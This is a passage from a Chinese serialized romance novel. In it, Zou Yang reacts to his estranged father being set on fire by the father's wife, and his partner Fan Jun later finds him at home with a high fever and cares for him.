但第一节课还十分钟下课的时候,周老师急匆匆地到教室门口,把邹天瑞叫了出去。 刚说了一句话,邹天瑞就哭着往楼梯那边跑了。 “出事儿了啊这是。”李知越说。 应该是出事儿了,而且不是太小的事儿,邹飏猛地有种说不清的感觉。 中午还没放学,老妈的电话就打了过来。 “邹飏啊,你知道了吗?”老妈声音带着些激动,更多的是惊恐。 “什么?怎么了?”邹飏问。 “你爸在办公室被刘巧烧了!”老妈提高了声音。 “什么?”邹飏有些震惊,“谁烧他?” “刘巧啊!他老婆!”老妈说,“小林跟我说的,我也不清楚,说人送医院了,警察都去了……” 小林是老爸公司以前的员工,跟老妈有点儿七拐八绕的远房亲戚关系,所以一直有联系,这消息估计还是准确的。 “你要去医院看看吗?”老妈问。 “我?”邹飏顿了顿,看是要去看看的,是个邻居被烧了他都会去看看,“我忙完了的吧,现在还在见习呢。” “嗯,我就问问。”老妈说。 “你别去啊,”邹飏交待老妈,“这人是死是活跟你一点儿关系都没有。” “知道,我不去,老吕也不让我去,”老妈说,想想又叹了口气,“这真是……吓死人了……” “要去看看吗?”樊均跨在车上问。 今天何川要用车,樊均来接他“下班”是骑的电动车。 “我……说不清,”邹飏皱着眉,“我其实是想去的,但是……我说不清是想看热闹还是因为……他毕竟是我亲爹。” “两个原因都可以有啊,”樊均说,“你受伤那么重的时候他来看你也不过就是走个过场。” 邹飏看着他,没有说话。 “他不值得你为他有什么纠结内疚的。”樊均说。 “嗯,”邹飏应了一声,犹豫了一下,跨上车,“去看看。” “好。”樊均点点头。 今天没有什么风,这会儿骑着车甚至能在空气里闻到明显的春天的气息。 邹飏搂着樊均的腰,下巴搁在他肩上,如果这会儿不是去医院,那就完美了。 他的手摸进樊均外套里,樊均偏了偏头,没说话。 他的手又摸进了樊均的卫衣里。 樊均低头看了看。 手有点儿凉,他犹豫着要不要往樊均肚子上摸…… “要摸就摸,撑着衣服灌风呢,”樊均隔着衣服把他的手按到了自己肚子上,接着抽了一口气,“嘶——” “我手凉。”邹飏笑了起来,但手并没有拿开。 “衣服没穿够吗?”樊均回手往他腰上摸了一把。 “别瞎摸!”邹飏说。 樊均叹了口气,收回了手。 医院是小林告诉老妈的,具体是哪个病房就不知道了,不过也没所谓,刚进病区,邹飏就看到了二姑。 “小飏?”二姑喊了他一声。 “二姑,”邹飏应着,“我爸……” “还没醒,手术做了很长时间,太严重了,太严重了……”二姑说着眼泪就流了下来。 邹飏有些尴尬地偏开了头,他实在不太哭得出来。 “是……怎么回事儿?”他问。 “刘巧疯了!这女人疯了!当初我就觉得她是个疯子……”二姑有些激动。 二姑父走了过来,把她拉到了一边,然后走了过来,叹了口气:“小飏啊,没想到你会来。” “来看看,毕竟……”邹飏没把话说完。 “现在还不能探视,比较危重,”二姑父说,“那个谁……轻一些。” “谁?”邹飏愣了愣。 “他助理。”二姑父说。 邹天瑞她妈带着汽油冲到老爸办公室,然后点火烧了这俩人,她自己也受了点儿伤,不过不严重。 邹飏走出医院的时候都还有些恍惚,他的渣爹最终会是这样的下场,他是没想到的,但真发生了这样的事儿,他似乎也不是很吃惊。 就是有些说不上来的恍惚。 “吃点儿东西去。”樊均搂住他的肩。 “嗯。”邹飏应了一声。 “土豆泥。”樊均说。 “还记着呢?”邹飏看了他一眼。 “怎么,连个土豆泥你都要赖账?”樊均问。 “那得到我们学校那边儿了,挺远的。”邹飏说。 “我都没嫌远,你嫌啊?”樊均说。 “不是,你没嫌远我就不能嫌吗?”邹飏笑了。 “我昨天晚上刚……”樊均话还没说完就被邹飏打断了。 “走走走走走走我骑车带你,”邹飏说,“土豆泥土豆泥……” 第90章 邹飏骑车带着樊均,往学校那边过去,吃土豆泥。 其实那家的菜都还挺好吃的,不知道为什么邹飏就记着个土豆泥了。 但土豆泥真的特别好吃。 虽然已经是下午,但今天阳光格外好,骑车过去这一路都没有什么遮阴的地方,路面被晒得泛着眩目的白光。 樊均在身后搂着他的腰,偏着脑袋枕在他肩上。 等红灯的时候,旁边一个大叔一直在看他俩,邹飏扫了他一眼,大叔还皱了皱眉。 眼神里满满“成何体统”的嫌弃,让他想起了老爸。 老爸现在还躺在监护室里,还没有脱离危险,不能再这样看他了。 听二姑父的意思,情况很不好,从头到脚大面积严重烧伤,就算现在抢救回来了,后续的治疗也还很漫长,完全康复也几乎不可能,而烧伤带来的痛苦更不是一般的伤能比的。 邹飏腿撑着地,看着前方耀眼得有些惨白的地面出神。 老爸每周都有两天会很早去公司处理事务,这个刘巧应该很清楚。 所以一大早刘巧拎着汽油走进办公室的时候,除了老爸和他那个疑似新欢的助理,公司里只有两个员工。 二姑父从在场员工那儿听来的事件经过也只有个大概,刘巧走进办公室,锁上门,在她老公的震惊中兜头把汽油烧在了他身上。 助理从隔壁跑过来的时候,她把剩下的又泼在了助理身上,接着就是点火,打开门走出办公司。 在一片混乱中坐在前台,一直等到警察来。 邹飏想象不出那是个什么样的场面,只觉得背后发凉。 身边有喇叭响,还有人提高了声音的抱怨声。 邹飏猛地回过神,发现前方的绿灯已经亮了好一会儿,他的车停在原地影响了通行…… “我靠,我走神儿了,”他偏过头说了一句,赶紧拧了拧车把往前开,“你怎么不提醒我。” “前面右转,”樊均的声音从他耳后传来,搂着他腰的手在他腿上轻轻拍了拍,“有个岔路,转进去。” 邹飏脑子很乱,也没问是为什么,在前面岔路转了进去。 “路边停一下。”樊均说。 “嗯。”邹飏应着,放慢车速,把车停在了路边。 樊均下了车,站在路边,扶住车把:“我来开,你歇会儿。” “我为什么……”邹飏觉得有些莫名其妙,但话没说完,突然就觉得胃里一阵难受,像是有人用钝刀贴着胃壁刮过。 他赶紧从车上下来,扑到路边,都没来得及走到两步之外的垃圾桶,扶着旁边的一棵树就干呕了一下。 “我操?”他愣了。 身后的樊均把电动车停到了人行道边,到小超市里买了瓶水,回到他身边站下了。 “没吐出东西来,干呕,就……突然犯恶心了,”邹飏从他手里拿了水,仰头灌了一口,拧着眉,“也不知道是怎么了。” “刚是在想你爸的事儿吗?”樊均在他背后轻轻拍着。 “……嗯。”邹飏顿了顿,没再说话。 但这种强烈的身体反应却不仅仅是老爸的事儿带来的,樊均没问他的时候他甚至都没有注意到。 也许是因为樊刚的事儿过去也挺久了,大部分时间里只要不做噩梦,他似乎也不会再想起惊恐的那一幕幕。 他靠着树缓了一会儿,看了看樊均,犹豫了几秒才说了一句:“我可能还想到之前的事儿了,我自己没感觉,但可能……” “嗯,”樊均在他脸上摸了摸,“猜到了。” “你……”邹飏看着他,“还会想这些吗?就是……会受影响吗?” “也会吧,次数不多,”樊均轻声说,“有时候会突然有点儿,怎么说,像回到以前的状态里,但是……很快就能好。” “你做噩梦吗?”邹飏问。 “不太做。”樊均说。 “你别骗我啊,你晚上醒了我也不知道。”邹飏说。 樊均笑了笑。 “你根本就睡不实吧,”邹飏说,“有点儿动静你就醒了。” “也不一定,”樊均说,“我生物钟比较准而已。” “走吧,吃饭去。”邹飏又喝了一口水,“我那个劲儿过去了。” 土豆泥这家店,是个专门吃清水鱼的火锅店,生意挺好的,但专门为了土豆泥来的客人可能就他俩。 “先来几斤鱼片儿吧,”邹飏看着菜单,“他家的鱼都很鲜。” “嗯。”樊均点头。 “有几种鱼,”邹飏一边说一边在手机上点单,“都尝一下吧,都没刺儿。” “好。”樊均点头。 “素菜的话,我就随便点了?”邹飏又问。 “嗯。”樊均点头。 “你有什么想吃的吗?”邹飏看了他一眼。 “土豆泥。”樊均说。 邹飏愣了愣,笑了起来:“我真服了,土豆泥土豆泥,我先点上。” “我要单独吃一份。”樊均笑笑。 “行。”邹飏说。 这个清水鱼火锅看着的确很清水,汤底看着跟白水差不多,汤里漂着些葱段和姜丝去腥,不太有食欲的样子,但闻着很香。 不过的确很好吃,樊均涮了片儿鱼肉,没蘸料碟先尝了一口,很鲜香,汤底是有味道的,不是白水。 “怎么样?”邹飏看着他。 “好吃。”樊均说着又夹了一片。 “刘文瑞发现的这家店,”邹飏说,“他就跟个猎犬似的,发现了,就让我请客。” 樊均笑了笑:“你有小金库嘛。” “以后也不知道会怎么样,”邹飏叹了口气,“钱那些我肯定是不会再问我爸要了,他现在这样子……” 都不一定能活得下来。 樊均迅速回头看了一眼服务员上菜的方向,打了个岔:“土豆泥怎么还没来?” “服务员!”邹飏一抬手喊了一声。 “不用……”樊均被他这一嗓子吓了一跳。 “哎。”服务员跑了过来。 “催一下我们的土豆泥,就为了这个来的,”邹飏说,“都快吃完了也没上。” “……哦,”服务员看了看他们桌子上满满的几盘鱼,点了点头,“我马上去催一下。” 睁眼说瞎话也挺管用的,两份土豆泥很快就端了上来。 看起来平平无奇的一碗糊糊,闻也闻不出什么特别的味道,一吸气全是面前火锅鱼的香味。 樊均拿过小勺舀了一勺放进嘴里。 “怎么样!”邹飏胳膊撑着桌子往他这边凑了凑。 很香,说不清具体什么香,略微有点儿奶味儿,但更多的香味似乎已经融到了土豆泥本身当中,吃得出是土豆,但又远远不止土豆泥的味道。 “真的很好吃。”樊均又舀了一勺,看了看他面前那碗。 “都给你。”邹飏把碗推了过来。 “吃不下。”樊均笑了。 “不要在这种没有意义的事儿上谦虚。”邹飏说。 那就不谦虚了。 樊均吃完了两份土豆泥,要不是邹飏鱼肉也点了很多,他还想再要一份。 “我有点儿撑了。”邹飏说。 “我都还没说话。”樊均摸了摸肚子。 邹飏笑着伸手过来在他肚子上摸了摸:“哎,这可不能让吕冠军看着,你这不跑个十公里下不去。” “明天早上就跑。”樊均说。 “明天陪你去医院,”邹飏说,“明天我们不用去七中,下午有课。” “好。”樊均一点儿没敢犹豫。 邹飏放在桌上的手机响了。 他拿起来看了一眼:“我妈……我忘了跟我妈说一声了。” “别说得太详细。”樊均说。 “嗯,”邹飏接起了电话,“妈?” “你下午去医院了?”老妈有些疲惫的声音从电话里传出来,还有些哑。 “嗯,”邹飏应着,“没见着人,还在监护室里,你怎么了?” “哎,你大姑给我打了个电话,啰里啰嗦说了一个多小时……”老妈叹了口气。 “她有病吧!”邹飏的火蹭一下就窜了起来,声音都没控制住,“都离婚了的,他是死是活跟他前妻说得着吗!” 旁边几桌的客人都转过了头。 樊均伸手握了握他的手。 “小飏啊,你别气,别气,估计也是没人可说了吧,”老妈说,“你说,刘巧现在抓起来了,那个助理又……” “那关你什么事儿,他们家一堆兄弟姐妹自己对着说去,找你算怎么个意思!”邹飏火有点儿下不去了,“你现在在南舟坪吗?” “在家呢,”老妈说,“我回来看看,当初那个……离婚协议……有没有提这些……他这事儿可别影响你啊……” “影响个屁,”邹飏说,“他兄弟姐妹去照顾就行,他公司又没倒闭,我一个没收入的……我一会儿回家。” “不用不用,”老妈赶紧说,“你这阵儿那么忙,不用回来了。” “你别管了。”邹飏挂掉了电话。 “现在回家?”樊均看着他。 “嗯,”邹飏一边拨电话一边起身往外走,“你结账。” “嗯。”樊均赶紧扫了码,把帐结了,跟着出了饭店。 “大姑,我没什么别的事儿,”邹飏在门口打着电话,“就想跟你说一声,麻烦你也转告一下别的人,我妈跟我爸已经离婚,没有任何关系和义务……” 樊均走过去,把右耳凑到手机旁边听着。 “小飏,你说话不要这么难听,他毕竟是你爸爸啊,现在受这么重的伤……” “所以他只跟我有关系,跟我妈没关系,”邹飏伸手搂住他的腰,往他身上靠了靠,“以后有什么事儿跟我说就可以了,不要给我妈打电话。” “你还是小孩子,还在上学呢,有什么事儿找你也不合适啊。” “我今年二十一了,成年人,”邹飏声音很冷,“没有什么不合适的,你们要没人能在医院守着,就请人照顾,我爸那么大个公司在那儿呢,他不是没收入请不起陪护的人,找我妈算什么意思?” “哎你这孩子,我可不是这个意思……” “那你什么意思呢?”邹飏一点儿没给电话里的大姑留面子,“她没工作没收入,你找她不是为了让她去照顾难道是想让她出钱吗?” “……哎算了,我不跟你说那么多,这孩子,现在说话怎么这么冲……” “不要跟我们联系就没人冲你了。”邹飏说完挂掉了电话。 “消消气。”樊均捏捏他下巴。 “我没生气!”邹飏说。 “……哦。”樊均应了一声。 邹飏看了他一眼:“我是不是很冲?” “嗯,”樊均点点头,“而且很凶。” 邹飏沉默了一会儿突然笑了:“靠。” “没事儿,”樊均搂搂他的肩,“不管那么多,估计他们不会再轻易打电话过来了……骂又骂不过你。” 邹飏叹了口气:“我打个车回去,你直接回商贸城吧。” “我送你。”樊均说。 “不用,”邹飏说,“太绕了。” “不嘛。”樊均突然说了一句。 邹飏猛地转头盯着他:“樊均?” “嗯?”樊均应了一声。 “你刚那是什么动静?”邹飏问到一半忍不住笑了起来,“你再说一遍?” “……不嘛。”樊均也没忍住笑场了。 “你大爷,”邹飏搓了搓胳膊肘,“差点儿给我肉麻死。” “还气吗?”樊均在他后背上搓了搓。 “本来也没有太气……”邹飏笑着叹了口气,“我就是脾气急。” “嗯。”樊均点点头,“我送你回去吧。” “怎么?”邹飏扫了他一眼,“舍不我啊?” “嗯。”樊均继续点头,“毕竟现在关系不一样了……” “打住。”邹飏往旁边看了一眼,转身往车那边走,“走吧你送我。” 樊均笑着跟了过去。 一路邹飏都没说话,只是贴在他身后,不知道是在琢磨事儿还是吃饭吃困了,可能都有。 不过樊均回手想摸摸他腿的时候,被邹飏一把抓住了手腕:“你本来就跟单手骑车差不多了,现在还想脱把骑啊?” 樊均笑了笑:“你一直不出声,我以为你睡着了。” “哪有那么好的睡眠。”邹飏说。 “嚯。”樊均没忍住。 “滚。”邹飏笑了。 把邹飏送到楼下,看着邹飏退着走进了电梯,樊均才骑着车离开了,直接回了何川店里。 “不是说晚上有事儿吗?”何川正坐在桌边喝茶。 “办完了,你要没什么事儿,晚上就你关门吧,我假就接着请完晚上的。”樊均坐到桌边,拿了个杯子放到何川手边。 “晚上不算你请假了,也没什么事儿。”何川看了他一眼,给他倒上了茶。 “不当资本家了?”樊均喝了口茶。 “我这点儿买卖哪敢往资本家身上蹭,”何川啧了一声,“对了,这回去林家渡你弄得不错啊,丁老板对咱们突然比之前热情了,你给他下什么药了?” “没,”樊均说,“都跟你学的。” “装吧你就,”何川指了指他,“跟我还装呢?” “早上运过来的那块大的雷击木,”樊均没接他话茬,“能给我留一小块儿吗?” “多小?”何川问。 “就护身符,”樊均用拇指和食指掐了一下,“这么大。” “你手指这么长呢。”何川看着他。 “你这么抠呢?”樊均说。 何川笑了起来:“行,那一大块儿能赚不少了,多给你几块都行。” “一块儿原料就行,”樊均说,“我自己弄。” “嗯。”何川应下了。 喝了两杯茶,樊均带着小白出了店门,往铁匠铺老店去,边走边遛狗。 晚上一般只有小龙在老铺这边儿打东西,商贸城的店请了人守着。 樊均进店的时候她正在脱防护服,脸上都是汗。 “哟?”看到他进来,小龙有些意外,“我以为你明天才有空呢?” “正好有时间就过来了,”樊均看了看她,“忙吗?” “正好忙完个大的,”小龙擦了擦汗,“操作台那儿等我吧,我洗个脸。” “嗯。”樊均走到操作台边儿上。 老铺这边儿因为打铁之类的活儿,地面上乱七八糟不少碎渣和灰,不过他找了一圈儿没找着纸箱之类的东西让小白坐,于是指了指旁边一张躺椅:“悄悄的,你去那儿坐着。” 小白走到椅子旁边,很小心地跳上去趴下了。 “我跟你说啊樊均,”小龙拿着两张纸出来了,放到操作台上,“这个难度吧,其实不大,但是你手的话……” “可能会慢点儿?”樊均用左手拿起一个錾子,“六月底之前弄完就行。” “那肯定够时间了,我来做的话也就一星期。”小龙说。 “嗯。”樊均拿过那两张纸看了看。 一张纸上是放大之后打印出来的图样,邹飏帮他画的那个睚眦头像。 放大了之后看着又可爱又凶的。 还有一张是小龙根据这个头像改出来的线稿。 小龙把纸拿起来,往他脸上比了比:“差不多,这个面具送人的话还真挺酷的。” “嗯。”樊均笑笑。 “这个头像谁画的啊?”小龙问,“你别说,虽然简单,但画得还真挺有神韵的。” “我朋友,就……那天店里你见过的那个。”樊均说。 “哦……”小龙若有所思地点了点头,“那你这个……要送谁啊?” “就送他。”樊均说。 90-100 第91章 店铺都关门了的商贸城,比南舟坪要安静得多,空无一人的街,空无一人的楼,静得他都隐约能听到小白爪子在青石地面上敲出来的细细的嗒嗒声。 不过路灯很多,也亮得多,他带着小白穿过街道往回走的时候,地上的影子拉长缩短的速度要快很多,也清楚得多。 不知道是不是因为邹飏今天在路上的反应,这会儿他的心里时不时会猛地掠过一丝紧张。 虽然很快就能平复,但平时不会这么频繁。 他掐了一下左手拇指,让疼痛把他拉回现实里。 一个安全的,没有危险的,普通的,晚归的深夜,除了手指头有点儿疼,一切安好。 今天一个晚上都在练习敲线条,小龙没让他直接开始制作,让他先在废料上练习,因为材料的硬度,右手锤子的劲儿还不能太轻了,一晚上砸好几回手,手指都青了。 这活儿比他想象的难,别说左手现在稳定不够,就算是以前,他也得练个几天的才能真的上手做。 回到家洗了个澡,往沙发上一倒,樊均拿过手机看了一眼时间,过了十二点了。 邹飏一晚上都没给他发消息,估计一直在跟珊姐聊。 【樊】晚安 发完消息他放下手机,准备去睡觉,明天还要去医院,以邹飏睡觉的情况,他估计得先过去接人。 他打了个呵欠,起身的时候顺手把扔在沙发上搭腿的小毛毯叠好了,放回沙发上时,他的动作暂停了那么零点几秒。 昨天晚上这地方发生的事情,就在这短短的零点几秒全数冲回了脑子里。 有那么一瞬间呼吸都有点儿着急。 他放下小毛毯,清了清嗓子,关了灯转身快步回了卧室。 邹飏在他这儿过夜之前,他一直觉得自己旁边要有个人估计很难睡得着,非常别扭。 但这会儿邹飏不在他旁边的时候,他感觉也不太容易睡着。 明明他俩统共也没有一块儿睡过几次。 樊均叹了口气,拉过被子盖好,闭上了眼睛。 晚上会不会做噩梦? 会,但的确很少。 他睡眠一直很浅,这种情况下本来就不太容易做梦。 今天也一样,小白一晚上来卧室里转了两圈儿,大黑在两个枕头中间,床头,床尾,各睡了一小轮,期间一直呼噜呼噜的……这些他都知道。 窗外四点半会准时传来环卫工人打扫街道的声音。 接着声音就开始变多,早餐推车经过,小汽车经过,共享电动车按着喇叭,鸡叫,狗叫…… 他开始听不清,也很难分辨具体的声音。 这个时候,他就该醒了。 早上依旧准时在空有一人的床上醒来,小白已经坐在卧室门边等着了。 樊均先拿过手机看了一眼,邹飏居然一整夜都没有回消息。 一个话痨,居然一整晚都没咩一句…… 不知道是不是跟珊姐聊太晚了。 把早晨需要做的一溜事儿都做完,看了一眼时间,差不多了。 他给邹飏发了个消息。 【樊】起了没 邹飏没回,他叹了口气,带着小白出了门,先把狗带到店里去。 小白还挺喜欢在店里趴着的,虽然有时候人多了它得呆在后院。 从小到大,它每天不是在旧馆院子里,就是在新馆前台,或者被蓉蓉带到隔壁去玩,已经习惯了这种每天看人被摸头的生活。 刚把店门打开,桌子什么的擦了一遍。 何陆骑着她的小电动到了店门口:“早啊。” “早,今天怎么你过来?”樊均问,“你女巫店不用守着了吗?” “你们能不能行了,何川一口一个神婆店,你这儿来个女巫店,”何陆叹了口气,“你今天不是去医院吗,我过来休息会儿,那边太忙了。” “生意这么好?”樊均有些意外。 “买东西的就那样吧,关键是让帮看事儿的人多,”何陆摆摆手,“现在的人嘛,一个个活得太辛苦,看不到希望的时候就得找找外因,总不能全是因为自己不行吧。” “嗯。”樊均笑了。 “你今天去医院是吧?”何陆问,“昨天何川说了。” “是,下午回来。”樊均说。 “去吧,我在这儿了,”何陆伸了个懒腰,“小白!早啊!” 小白站在后院门边叫了一声作为回应,何川兄妹俩都有点儿怕狗,所以它没凑过来让摸脑袋。 邹飏还是没有回消息,樊均跨在车上,直接拨了邹飏的电话。 那边一直响铃,但一直也没人接。 樊均突然有些不踏实,犹豫了一下,他又拨了珊姐的电话。 珊姐倒是很快就接了电话:“喂?均儿?” “珊姐,是我,”樊均跟珊姐极少会打电话,这会儿还是打电话问邹飏的情况,相当尴尬,“那个……我刚给邹飏打电话他没接,他是……还在家里吗?” “在家呀,昨天到家我俩聊了一会儿他就睡了,早上我出来的时候他还睡着呢,”珊姐说,“这会儿估计还在睡着。” “他没什么事儿吧?”樊均还是不太放心,又确认了一下。 “没事儿,就是又有点儿生气,又……有点儿吓着了,毕竟是亲爹嘛,那么重的伤,”珊姐叹了口气,“这两年也不知道是怎么了,一出事儿就是这么大的事儿……” 樊均沉默着,一时间不知道该说什么。 “哦,你找他的话就再打个电话吧,多打几个,他上午没事儿肯定起不来床。”珊姐又说。 “好的。”樊均应了一声。 无论是什么原因让邹飏沉睡不醒,他这个睡眠质量多少是有点儿让人羡慕的。 樊均一连打了几能有十个电话,那边都没人接。 早上已经预约了医生的号,他只能一边往医院去,一边接着给邹飏打电话。 但一直到他做完各种检查,又去运动康复科给跟医生聊过,确定目前的恢复情况比之前已经好了不少之后,邹飏的电话还是没人接。 樊均知道,从理论上说,邹飏现在,在自己家里,而他家在一个需要刷脸才能上电梯的小区里,这是一个绝对安全的环境。 而珊姐从家里走的时候邹飏也没有任何异常,从珊姐离开家到现在也不过就几个小时…… 他还是突然就开始发慌,几乎没犹豫,他骑车着到了邹飏家楼下。 但接着就有些不知道怎么办好了。 给珊姐打电话实在有点儿不好意思,感觉上也有些奇怪,没准儿还会让珊姐跟着他莫名其妙就紧张上了。 最后他点开了瑞思拜的一片空白的聊天窗口,给刘文瑞打了个语音。 “樊均?”那边刘文瑞的声音听起来相当震惊,“怎么了?是邹飏出事儿了吗?” “没没没没,他妈妈说他在睡觉,”樊均赶紧说,“我是……一直打他电话他都没接……” “他睡觉的时候听不到电话正常……”刘文瑞松了口气。 “我从七点多一直打到现在……”樊均说。 “那就有点儿不正常了!”刘文瑞声音又提了上去,“早上撒尿也得醒一回吧!你给他妈说了吗?” “没,我怕吓着她,”樊均看了一眼不远处晃悠着的小区保安,“我现在在他家楼下,你知道不知道……” “吓着她?她胆儿应该没那么小吧。”刘文瑞有些奇怪,估计还不知道邹飏他爸的事儿,但他并没多问什么,“没事儿我给她打,我就说我找他,让物业开门,你等一会儿,有人问你就说你是刘文瑞。” “什……”樊均话没说完那边就挂掉了电话。 几分钟之后,两个穿着制服的保安开着辆四轮电动车过来了,其中一个过来问了一句:“请问你是来找人的吗?” “……是。”樊均赶紧点点头。 “请问你叫什么名字?”另一个问。 “刘……文瑞。”樊均只能按刘文瑞的安排回答。 “彭姐,是他吗?”这人举起了手机,对着樊均的脸,“刘文瑞。” “啊?”电话里传出了珊姐的声音。 这一秒樊均只想过去抢下手机把保安打晕,刚刘文瑞说找珊姐的时候他就有点儿没想明白…… “均儿啊,”珊姐的声音再次传来,“让他们带你上去开门哈……你们带他上去吧。” “好的。”保安挂掉了电话。 这会儿也顾不上尴尬了,跟着保安进了电梯上了楼,保安用邹飏家的备用钥匙打开了房门。 屋里很静,灯都关着。 保安离开之后,樊均关上门才压着声音喊了一声:“邹飏?” 没有人回应。 他没来邹飏家,也不知道哪间是他卧室,脱了鞋之后跟做贼似的走到了关着门的那间房门口。 想听个动静,但也不知道是耳朵不行还是真的没声音,总之就是没听到任何动静。 最后一咬牙,拧了一下门把手。 推开门的瞬间他就能确定这是邹飏的房间。 他闻到了属于邹飏的味道,洗衣液洗发水沐浴露和邹飏本体融合之后的那种很好闻的味道。 屋里关着灯拉着窗帘,很暗,但他一眼还是看到了床上抱着个枕头正睡着的邹飏。 他猛地松了口气,看上去的确是在睡觉。 “邹飏?”他叫了一声,手在墙边摸了半天,摸到了开关,把灯打开了。 邹飏动了动,把脸埋进了被子里。 “邹飏,睡神啊你。”樊均走到床边,弯腰看了看,与此同时他感觉到了一阵热浪。 他愣了愣,迅速地伸手在他脸上轻轻摸了一下,接着就一把掀开了邹飏的被子,拍了拍他的脸:“邹飏!” 邹飏身上滚烫的,掀开被子之后能看到他脸也是红的。 “……嗯?”邹飏终于发出了很低的声音,偏过了头,抬手遮住了眼睛。 “我,樊均,”樊均又握了握他的手,还是滚烫的,“你发烧了!” “樊均?”邹飏透着迷糊,“我……没回家?” “你在家呢,我过来了,”樊均拽了拽他的手腕,“能起来吗?你得去医院。” “你挂的几点的号……”邹飏撑着床坐了起来。 “我已经从医院回来了,”樊均抬了抬他下巴,“现在是你要去医院,你发烧了,滚烫的。” “我操?”邹飏终于慢慢清醒过来,抬头看着他,“你怎么跑我家来了?” “我打了一千八百个电话你都没接,”樊均说,“我怕你出事儿,就过来了。” “几点了?”邹飏从枕头边摸过眼镜戴上了,一边摸手机一边小声念叨,“我靠我怎么这么晕……” “你发烧了,听不懂吗?”樊均摸了摸他脑门儿,感觉是不是有点儿烧坏了,“你家有体温计吗?” “客厅茶几下面那个抽屉里有个药箱……”邹飏说。 樊均没等他说完就走了出去,在药箱里找到了体温计回到卧室的时候,邹飏又倒回了枕头上。 他甩了几下体温计,拽起邹飏的胳膊,把体温计塞好:“难受吗?” “不难受,”邹飏闭着眼睛,“就是有点儿晕。” “先看看多少度,”樊均跪到床边,撑着床沿看着他,“你怎么发烧了没跟珊姐说一声呢?你昨天晚上就烧了吧?” “我就是困,没别的感觉。”邹飏说完又皱了皱眉头,“我怎么可能发烧,我住院那会儿那么严重的伤我都没发过烧……” 可能是被你爸的事儿刺激的吧。 樊均没敢说,只是伸手把他鼻梁上被压歪了的眼镜又拿了下来,放到了床头柜上。 “我操。”邹飏突然睁开了眼睛。 “嗯?”樊均赶紧凑近他。 “我发烧?”邹飏瞪着他,眼睛明显有些不太聚焦,“难道不应该是你……” “我为什么要发烧,”樊均没明白,“还应该?” “不都这样么,被那什么的,才发烧呢。”邹飏说。 樊均愣了快十秒才反应过来他说的是什么:“啊?” “我靠,”邹飏翻了个身躺着,“我应该不是发烧吧。” “你都烫手。”樊均说。 邹飏偏过头看着他:“过来。” “嗯?”樊均往前凑了凑。 邹飏胳膊绕到他颈后往前一勾,把嘴唇贴到了他脑门儿上。 几秒钟之后,邹飏松开了他。 “谁烫?”樊均问。 “开你的小电动来的吧,冻透了都,冰凉的。”邹飏啧了一声。 樊均笑了笑,没说话。 “你怎么进的屋?”邹飏突然想起来,猛地支起脑袋想往客厅看,但一抬头就又倒了回去,“我妈……” “物业开的门,”樊均按住他肩膀,“你老实点儿躺着行吗?量体温呢,保持十分钟静止行吗?” “哦。”邹飏闭上眼睛,过了一会儿又睁开眼睛,“你找我妈了?” “嗯,找了两次,第二次是……刘文瑞找的,”樊均说,“你一直不接电话,我担心你出事儿……” 邹飏笑了笑。 “笑什么。”樊均问。 “没什么,”邹飏嘴角还是带着笑,“渴了,拿瓶冰水来。” “冰的吗?”樊均问,“常温的吧。” “冰的。”邹飏说。 “常温的吧。”樊均又重复了一遍。 “我家没有常温水,”邹飏说,“我家凉水瓶都直接放冰箱。” 樊均起身走了出去,邹飏这么一说,他好像想起来,珊姐在南舟坪好像就是一直从冰箱里拿水喝…… 他在客厅和厨房转了一圈儿,的确是没找着常温水。 他犹豫着要不要烧一壶,但邹飏的声音从卧室里传出来:“水——均儿——水——” “来了!”樊均只得打开冰箱,拿了瓶冰水。 邹飏半趴在床沿儿上,向他伸着胳膊:“水……给我水……” “……怎么跟我还演上了?”樊均把水拧开,递了过去,“慢点儿喝,别猛灌……” 话还没说完,邹飏已经抢过水瓶,仰头就灌。 “你给我……”樊均一把捏住他的脸,把瓶子抢了下来,“慢点儿喝!” “啊……”已经灌了两大口的邹飏愉快地舒出一口气,往床上一倒,“我没事儿了,已经好了。” 樊均看着他:“体温计呢?” “不知道,”邹飏说,“不在朕的胳膊下面夹着吗?” “你刚那动静早不知道掉哪儿去了皇上……”樊均有些无奈,拽起他的胳膊,掀开他睡衣找着。 没有。 他又拽着邹飏的胳膊把他拉成侧躺,手往他背后摸了摸。 也……没有。 但有……腰。 邹飏的腰……的确是非常漂亮…… 很紧实,肌肉线条清晰却不突兀…… 这种行为是非常不对的。 邹飏还发着烧,哪儿哪儿都还是滚烫的,甚至感觉都有点儿烧出毛病了…… 他还是没忍住,把手贴到了邹飏腰上。 “樊均。”邹飏突然笑了起来。 “嗯?”樊均看了他一眼 “你比我变态啊,”邹飏说,“我一个病人……” “你不说你好了么。”樊均说。 “……操。”邹飏说。 樊均没说话,搂紧邹飏,低头在他腰上咬了一口。 用了挺大的劲儿,他自己都不知道为什么。 “嘶……”邹飏抽了口气。 松口的时候樊均摸到了掉在床上的体温计,同时看到了邹飏腰上留下了一圈圆圆的牙印。 “疯了你。”邹飏摸了摸腰。 樊均没说话,起身对着灯看了看体温计上的数字,38.9。 “走,”樊均重新把他从床上拽了起来,“穿衣服,去医院。” “你不继续了吗?”邹飏问。 “……什么?”樊均愣了。 “万一真是被……那什么的发烧,”邹飏说,“你不如就趁我发烧的时候……万一我真烧两轮我可真扛不住。” 樊均这一刻真的感觉邹飏脑子有点儿烧坏了。 “我没有那么……迫切,”他说,“听话,起来去医院。” “我下午有课,”邹飏说,“吃点儿布洛芬退了烧就行了,没准是胃里没东西饿的,出去吃点儿东西,走一走就缓过来了……” “你这么爱学习呢?”樊均看着他。 “发个烧而已,”邹飏说,“没必要去医院啊,你一发烧就去医院吗?我妈发烧都没去医院呢。” “你这烧得有点儿高。”樊均说。 “先吃饭吧哥哥,”邹飏脑门儿贴到他肚子上靠着,“我饿死了。” “想吃什么?”樊均叹了口气。 “蛋糕。”邹飏说。 “……行吧,”樊均揉了揉他头发,“吃蛋糕去。” 第92章 下了床才发现,不仅脑袋发晕,脚底下还发软,邹飏一时也分不清是发烧烧的还是睡时间太长了睡的。 衣服都是樊均拿过来往他身上套的,他站起身之后一转脑袋人就要倒。 “真出去吗?”樊均把裤子帮他提了上来,“你这站都站不稳啊。” “出去透透气儿。”邹飏说。 “……行吧。”樊均叹了口气。 这个头晕没准儿真是饿的,肚子都叫了。 要真是饿的,那饿得不轻,洗漱的时候邹飏一手撑着墙一手拿着电动牙刷,感觉自己一直跟着牙刷的震动来回晃。 樊均一直站在旁边陪他,可能也不是陪,是时刻准备在他倒地不起的时候伸出援手。 慢吞吞收拾完,他俩出了门。 